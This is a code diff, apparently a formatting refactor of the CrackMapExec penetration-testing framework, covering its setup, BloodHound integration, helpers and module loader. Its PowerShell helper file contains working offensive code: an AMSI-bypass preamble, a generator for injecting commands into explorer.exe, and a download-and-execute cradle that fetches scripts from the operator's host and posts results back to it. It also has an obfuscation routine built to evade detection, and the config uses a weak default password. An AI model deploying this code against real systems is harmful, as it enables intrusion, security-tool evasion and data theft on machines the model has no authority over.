@@ -17,7 +17,7 @@ bh_pass = neo4j
api_host = 127.0.0.1
api_port = 1337
username = empireadmin
password = Password123!
password = password123
[Metasploit]
rpc_host = 127.0.0.1
+32 -23
View File
@@ -1,7 +1,9 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from os import mkdir
from os.path import exists
from os.path import join as path_join
import shutil
import configparser
from configparser import NoSectionError, NoOptionError
@@ -11,42 +13,49 @@ from cme.logger import cme_logger
def first_run_setup(logger=cme_logger):
if not os.path.exists(TMP_PATH):
os.mkdir(TMP_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not os.path.exists(CME_PATH):
logger.display('First time use detected')
logger.display('Creating home directory structure')
os.mkdir(CME_PATH)
if not exists(CME_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(CME_PATH)
folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
)
for folder in folders:
if not os.path.exists(os.path.join(CME_PATH, folder)):
if not exists(path_join(CME_PATH, folder)):
logger.display(f"Creating missing folder {folder}")
os.mkdir(os.path.join(CME_PATH, folder))
mkdir(path_join(CME_PATH, folder))
initialize_db(logger)
if not os.path.exists(CONFIG_PATH):
logger.display('Copying default configuration file')
default_path = os.path.join(DATA_PATH, 'cme.conf')
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "cme.conf")
shutil.copy(default_path, CME_PATH)
else:
# This is just a quick check to make sure the config file isn't the old 3.x format
try:
config = configparser.ConfigParser()
config.read(CONFIG_PATH)
config.get('CME', 'workspace')
config.get('CME', 'pwn3d_label')
config.get('CME', 'audit_mode')
config.get('BloodHound', 'bh_enabled')
config.get('CME', 'log_mode')
config.get("CME", "workspace")
config.get("CME", "pwn3d_label")
config.get("CME", "audit_mode")
config.get("BloodHound", "bh_enabled")
config.get("CME", "log_mode")
except (NoSectionError, NoOptionError):
logger.display('Old configuration file detected, replacing with new version')
default_path = os.path.join(DATA_PATH, 'cme.conf')
logger.display("Old configuration file detected, replacing with new version")
default_path = path_join(DATA_PATH, "cme.conf")
shutil.copy(default_path, CME_PATH)
# if not os.path.exists(CERT_PATH):
# if not exists(CERT_PATH):
# logger.display('Generating SSL certificate')
# try:
# check_output(['openssl', 'help'], stderr=PIPE)
@@ -57,8 +66,8 @@ def first_run_setup(logger=cme_logger):
# except OSError as e:
# if e.errno == errno.ENOENT:
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
# default_path = os.path.join(DATA_PATH, 'default.pem')
# shutil.copy(default_path, CERT_PATH)
# default_path = path_join(DATA_PATH, 'default.pem')
# shutil.copy(default_path, CERT_PATH)
# else:
# logger.error('Error while generating SSL certificate: {}'.format(e))
# sys.exit(1)
+1 -1
View File
@@ -5,5 +5,5 @@ from cme.paths import DATA_PATH
def get_script(path):
with open(os.path.join(DATA_PATH, path), 'r') as script:
with open(os.path.join(DATA_PATH, path), "r") as script:
return script.read()
+26 -25
View File
@@ -1,54 +1,55 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def add_user_bh(user, domain, logger, config):
users_owned = []
if isinstance(user, str):
users_owned.append({'username': user.upper(), 'domain': domain.upper()})
users_owned.append({"username": user.upper(), "domain": domain.upper()})
else:
users_owned = user
if config.get('BloodHound', 'bh_enabled') != "False":
if config.get("BloodHound", "bh_enabled") != "False":
try:
from neo4j.v1 import GraphDatabase
except:
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False)
driver = GraphDatabase.driver(
uri,
auth=(
config.get("BloodHound", "bh_user"),
config.get("BloodHound", "bh_pass"),
),
encrypted=False,
)
try:
with driver.session() as session:
with session.begin_transaction() as tx:
for info in users_owned:
if info['username'][-1] == '$':
user_owned = info['username'][:-1] + "." + info['domain']
account_type = 'Computer'
if info["username"][-1] == "$":
user_owned = info["username"][:-1] + "." + info["domain"]
account_type = "Computer"
else:
user_owned = info['username'] + "@" + info['domain']
account_type = 'User'
user_owned = info["username"] + "@" + info["domain"]
account_type = "User"
result = tx.run(
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) RETURN c"
)
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
if result.data()[0]['c'].get('owned') in (False, None):
logger.debug(
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
)
result = tx.run(
f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name"
)
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e:
logger.error(
f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid."
)
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable as e:
logger.error(f"Neo4J does not seem to be available on {uri}.")
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.error("Unexpected error with Neo4J")
logger.error("Account not found on the domain")
logger.fail("Unexpected error with Neo4J")
logger.fail("Account not found on the domain")
return
driver.close()
driver.close()
+10 -10
View File
@@ -3,22 +3,22 @@
import random
def get_desktop_uagent(uagent=None):
def get_desktop_uagent(uagent=None):
desktop_uagents = {
"MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
"MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
"MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
"MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
"Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
"MSIE9.0": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
"MSIE8.0": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
"MSIE7.0": "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
"MSIE6.0": "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Chrome32": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
"Chrome31": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
"Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
"Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,",
"Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
"Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
"Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16",
}
if not uagent:
if not uagent:
return desktop_uagents[random.choice(desktop_uagents.keys())]
elif uagent:
return desktop_uagents[uagent]
return desktop_uagents[uagent]
+12 -12
View File
@@ -9,19 +9,19 @@ import os
def identify_target_file(target_file):
with open(target_file, 'r') as target_file_handle:
with open(target_file, "r") as target_file_handle:
for i, line in enumerate(target_file_handle):
if i == 1:
if line.startswith('<NessusClientData'):
return 'nessus'
elif line.endswith('nmaprun>\n'):
return 'nmap'
if line.startswith("<NessusClientData"):
return "nessus"
elif line.endswith("nmaprun>\n"):
return "nmap"
return 'unknown'
return "unknown"
def gen_random_string(length=10):
return ''.join(random.sample(string.ascii_letters, int(length)))
return "".join(random.sample(string.ascii_letters, int(length)))
def validate_ntlm(data):
@@ -34,11 +34,11 @@ def validate_ntlm(data):
def called_from_cmd_args():
for stack in inspect.stack():
if stack[3] == 'print_host_info':
if stack[3] == "print_host_info":
return True
if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login':
if stack[3] == "plaintext_login" or stack[3] == "hash_login" or stack[3] == "kerberos_login":
return True
if stack[3] == 'call_cmd_args':
if stack[3] == "call_cmd_args":
return True
return False
@@ -53,12 +53,12 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
path.
Note: This function was backported from the Python 3 source code.
"""
# Check that a given file can be accessed with the correct mode.
# Additionally check that `file` is not a directory, as on Windows
# directories pass the os.access check.
def _access_check(fn, mode):
return (os.path.exists(fn) and os.access(fn, mode) and
not os.path.isdir(fn))
return os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn)
# If we're given a path with a directory part, look it up directly
# rather than referring to PATH directories. This includes checking
+1850 -1850
View File
File diff suppressed because it is too large Load Diff
+93 -98
View File
@@ -19,42 +19,41 @@ def get_ps_script(path):
def encode_ps_command(command):
return b64encode(command.encode('UTF-16LE')).decode()
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
if which('powershell'):
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
ps_script = path_to_script.split('/')[-1]
obfs_script_dir = os.path.join(CME_PATH, 'obfuscated_scripts')
ps_script = path_to_script.split("/")[-1]
obfs_script_dir = os.path.join(CME_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
cme_logger.display('Using cached obfuscated Powershell script')
with open(obfs_ps_script, 'r') as script:
cme_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script, "r") as script:
return script.read()
cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...')
cme_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'"
cme_logger.debug(invoke_obfs_command)
with open(os.devnull, 'w') as devnull:
with open(os.devnull, "w") as devnull:
return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
cme_logger.success('Script obfuscated successfully')
cme_logger.success("Script obfuscated successfully")
with open(obfs_ps_script, 'r') as script:
with open(obfs_ps_script, "r") as script:
return script.read()
else:
with open(get_ps_script(path_to_script), 'r') as script:
with open(get_ps_script(path_to_script), "r") as script:
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
@@ -62,7 +61,7 @@ def obfs_ps_script(path_to_script):
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
stripped_code = "\n".join([line for line in stripped_code.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
return stripped_code
@@ -73,7 +72,7 @@ def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi
lines = []
for line in file_in:
lines.append(line)
amsi_bypass = ''.join(lines)
amsi_bypass = "".join(lines)
else:
amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
try{
@@ -82,7 +81,9 @@ try{
"""
if force_ps32:
command = amsi_bypass + """
command = (
amsi_bypass
+ """
$functions = {{
function Command-ToExecute
{{
@@ -99,12 +100,15 @@ else
IEX "$functions"
Command-ToExecute
}}
""".format(command=amsi_bypass + ps_command)
""".format(
command=amsi_bypass + ps_command
)
)
else:
command = amsi_bypass + ps_command
cme_logger.debug('Generated PS command:\n {}\n'.format(command))
cme_logger.debug("Generated PS command:\n {}\n".format(command))
# We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
# concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
@@ -161,10 +165,10 @@ else
return command
def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False):
def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False):
# The following code gives us some control over where and how Invoke-PSInject does its thang
# It prioritizes injecting into a process of the active console session
ps_code = '''
ps_code = """
$injected = $False
$inject_once = {inject_once}
$command = "{command}"
@@ -191,14 +195,14 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{
catch {{}}
}}
}}
'''.format(
inject_once='$True' if inject_once else '$False',
""".format(
inject_once="$True" if inject_once else "$False",
command=encode_ps_command(command),
procname=procname
procname=procname,
)
if context:
return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False)
return gen_ps_iex_cradle(context, "Invoke-PSInject.ps1", ps_code, post_back=False)
return ps_code
@@ -215,23 +219,24 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri
port=context.server_port,
addr=context.localip,
ps_script_name=scripts,
command=command if post_back is False else ''
command=command if post_back is False else "",
).strip()
elif type(scripts) is list:
launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n'
launcher = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n"
launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'"
for script in scripts:
launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format(
server=context.server,
port=context.server_port,
addr=context.localip,
script=script)
script=script,
)
launcher.strip()
launcher += command if post_back is False else ''
launcher += command if post_back is False else ""
if post_back is True:
launcher += '''
launcher += """
$cmd = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/')
$request.Method = 'POST'
@@ -241,11 +246,11 @@ $request.ContentLength = $bytes.Length
$requestStream = $request.GetRequestStream()
$requestStream.Write($bytes, 0, $bytes.Length)
$requestStream.Close()
$request.GetResponse()'''.format(
$request.GetResponse()""".format(
server=context.server,
port=context.server_port,
addr=context.localip,
command=command
command=command,
)
cme_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n")
@@ -256,11 +261,26 @@ $request.GetResponse()'''.format(
# Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py
def invoke_obfuscation(script_string):
# Add letters a-z with random case to $RandomDelimiters.
alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)
alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase)
# Create list of random delimiters called random_delimiters.
# Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax.
random_delimiters = ['_', '-', ',', '{', '}', '~', '!', '@', '%', '&', '<', '>', ';', ':']
random_delimiters = [
"_",
"-",
",",
"{",
"}",
"~",
"!",
"@",
"%",
"&",
"<",
">",
";",
":",
]
for i in alphabet:
random_delimiters.append(i)
@@ -269,7 +289,7 @@ def invoke_obfuscation(script_string):
random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))]
# Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters.
delimited_encoded_array = ''
delimited_encoded_array = ""
for char in script_string:
delimited_encoded_array += str(ord(char)) + choice(random_delimiters)
@@ -277,42 +297,40 @@ def invoke_obfuscation(script_string):
delimited_encoded_array = delimited_encoded_array[:-1]
# Create printable version of $RandomDelimiters in random order to be used by final command.
test = sample(random_delimiters, len(random_delimiters))
random_delimiters_to_print = ''.join(i for i in test)
random_delimiters_to_print = "".join(i for i in test)
# Generate random case versions for necessary operations.
for_each_object = choice(['ForEach', 'ForEach-Object', '%'])
str_join = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join')
str_str = ''.join(choice([i.upper(), i.lower()]) for i in '[String]')
join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join')
char_str = ''.join(choice([i.upper(), i.lower()]) for i in 'Char')
integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int')
for_each_object = ''.join(choice([i.upper(), i.lower()]) for i in for_each_object)
for_each_object = choice(["ForEach", "ForEach-Object", "%"])
str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join")
str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]")
join = "".join(choice([i.upper(), i.lower()]) for i in "-Join")
char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char")
integer = "".join(choice([i.upper(), i.lower()]) for i in "Int")
for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object)
# Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax
random_delimiters_to_print_for_dash_split = ''
random_delimiters_to_print_for_dash_split = ""
for delim in random_delimiters:
# Random case 'split' string.
split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split')
random_delimiters_to_print_for_dash_split += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice(
['', ' '])
split = "".join(choice([i.upper(), i.lower()]) for i in "Split")
random_delimiters_to_print_for_dash_split += "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "])
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip('\t\n\r')
random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip("\t\n\r")
# Randomly select between various conversion syntax options.
random_conversion_syntax = [
'[' + char_str + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_',
'[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice(
['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + char_str + ']'
"[" + char_str + "]" + choice(["", " "]) + "[" + integer + "]" + choice(["", " "]) + "$_",
"[" + integer + "]" + choice(["", " "]) + "$_" + choice(["", " "]) + choice(["-as", "-As", "-aS", "-AS"]) + choice(["", " "]) + "[" + char_str + "]",
]
random_conversion_syntax = choice(random_conversion_syntax)
# Create array syntax for encoded scriptString as alternative to .Split/-Split syntax.
encoded_array = ''
encoded_array = ""
for char in script_string:
encoded_array += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' '])
encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "])
# Remove trailing comma from encoded_array
encoded_array = '(' + choice(['', ' ']) + encoded_array.rstrip().rstrip(',') + ')'
encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")"
# Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable).
# Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists.
@@ -322,52 +340,34 @@ def invoke_obfuscation(script_string):
# https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables
set_ofs_var_syntax = [
'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "''",
choice(['Set-Variable', 'SV', 'SET']) + choice([' ' * 1, ' ' * 2]) + "'OFS'" + choice(
[' ' * 1, ' ' * 2]) + "''"
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "''",
choice(["Set-Variable", "SV", "SET"]) + choice([" " * 1, " " * 2]) + "'OFS'" + choice([" " * 1, " " * 2]) + "''",
]
set_ofs_var = choice(set_ofs_var_syntax)
set_ofs_var_back_syntax = [
'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '",
'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '"
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
"Set-Item" + choice([" " * 1, " " * 2]) + "'Variable:OFS'" + choice([" " * 1, " " * 2]) + "' '",
]
set_ofs_var_back = choice(set_ofs_var_back_syntax)
# Randomize case of $SetOfsVar and $SetOfsVarBack.
set_ofs_var = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
set_ofs_var_back = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var)
set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back)
# Generate the code that will decrypt and execute the payload and randomly select one.
baseScriptArray = [
'[' + char_str + '[]' + ']' + choice(['', ' ']) + encoded_array,
'(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'." + split + "(" + choice(
['', ' ']) + "'" + random_delimiters_to_print + "'" + choice(['', ' ']) + ')' + choice(
['', ' ']) + '|' + choice(['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(
['', ' ']) + '(' + choice(['', ' ']) + random_conversion_syntax + ')' + choice(
['', ' ']) + '}' + choice(['', ' ']) + ')',
'(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'" + choice(
['', ' ']) + random_delimiters_to_print_for_dash_split + choice(['', ' ']) + '|' + choice(
['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(
['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(
['', ' ']) + ')', '(' + choice(['', ' ']) + encoded_array + choice(['', ' ']) + '|' + choice(
['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice(
['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')'
"[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array,
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'." + split + "(" + choice(["", " "]) + "'" + random_delimiters_to_print + "'" + choice(["", " "]) + ")" + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + "'" + delimited_encoded_array + "'" + choice(["", " "]) + random_delimiters_to_print_for_dash_split + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
"(" + choice(["", " "]) + encoded_array + choice(["", " "]) + "|" + choice(["", " "]) + for_each_object + choice(["", " "]) + "{" + choice(["", " "]) + "(" + choice(["", " "]) + random_conversion_syntax + ")" + choice(["", " "]) + "}" + choice(["", " "]) + ")",
]
# Generate random JOIN syntax for all above options
new_script_array = [
choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''",
join + choice(['', ' ']) + choice(baseScriptArray),
str_join + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice(
['', ' ']) + choice(
baseScriptArray) + choice(['', ' ']) + ')',
'"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + set_ofs_var + choice(
['', ' ']) + ')' + choice(
['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + str_str + choice(
baseScriptArray) + choice(
['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice(
['', ' ']) + set_ofs_var_back + choice(
['', ' ']) + ')' + choice(['', ' ']) + '"'
choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''",
join + choice(["", " "]) + choice(baseScriptArray),
str_join + "(" + choice(["", " "]) + "''" + choice(["", " "]) + "," + choice(["", " "]) + choice(baseScriptArray) + choice(["", " "]) + ")",
'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
@@ -376,36 +376,31 @@ def invoke_obfuscation(script_string):
# Generate random invoke operation syntax
# Below code block is a copy from Out-ObfuscatedStringCommand.ps1
# It is copied into this encoding function so that this will remain a standalone script without dependencies
invoke_expression_syntax = [choice(['IEX', 'Invoke-Expression'])]
invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])]
# Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &.
# Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator,
# but not a silver bullet
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocationOperator = choice(['.', '&']) + choice(['', ' '])
invocationOperator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
invoke_expression_syntax.append(
invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
invoke_expression_syntax.append(
invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')")
invoke_expression_syntax.append(
invocationOperator + "((" + choice(['Get-Variable', 'GV', 'Variable']) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(
['$VerbosePreference.ToString()', '([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')")
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
# Randomly choose from above invoke operation syntaxes.
invokeExpression = choice(invoke_expression_syntax)
# Randomize the case of selected invoke operation.
invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression)
invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression)
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invokeOptions = [
choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice(
['', ' ']) + ')' + choice(['', ' ']),
choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
]
obfuscated_payload = choice(invokeOptions)
+20 -16
View File
@@ -1,7 +1,9 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import importlib
import os
from os import listdir
from os.path import dirname
from os.path import join as path_join
import sys
import cme
@@ -76,14 +78,14 @@ class ModuleLoader:
self.logger.debug(f"Protocol: {self.args.protocol}")
if self.args.protocol in module.supported_protocols:
try:
module_logger = CMEAdapter(extra={'module_name': module.name.upper()})
module_logger = CMEAdapter(extra={"module_name": module.name.upper()})
except Exception as e:
self.logger.fail(f"Error loading CMEAdaptor for module {module.name.upper()}: {e}")
context = Context(self.db, module_logger, self.args)
module_options = {}
for option in self.args.module_options:
key, value = option.split('=', 1)
key, value = option.split("=", 1)
module_options[str(key).upper()] = value
module.options(context, module_options)
@@ -101,15 +103,14 @@ class ModuleLoader:
module_spec = spec.loader.load_module().CMEModule
module = {
f"{module_spec.name.lower()}":
{
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
}
f"{module_spec.name.lower()}": {
"path": module_path,
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
}
}
if self.module_is_sane(module_spec, module_path):
return module
@@ -122,12 +123,15 @@ class ModuleLoader:
List modules without initializing them
"""
modules = {}
modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(CME_PATH, 'modules')]
modules_paths = [
path_join(dirname(cme.__file__), "modules"),
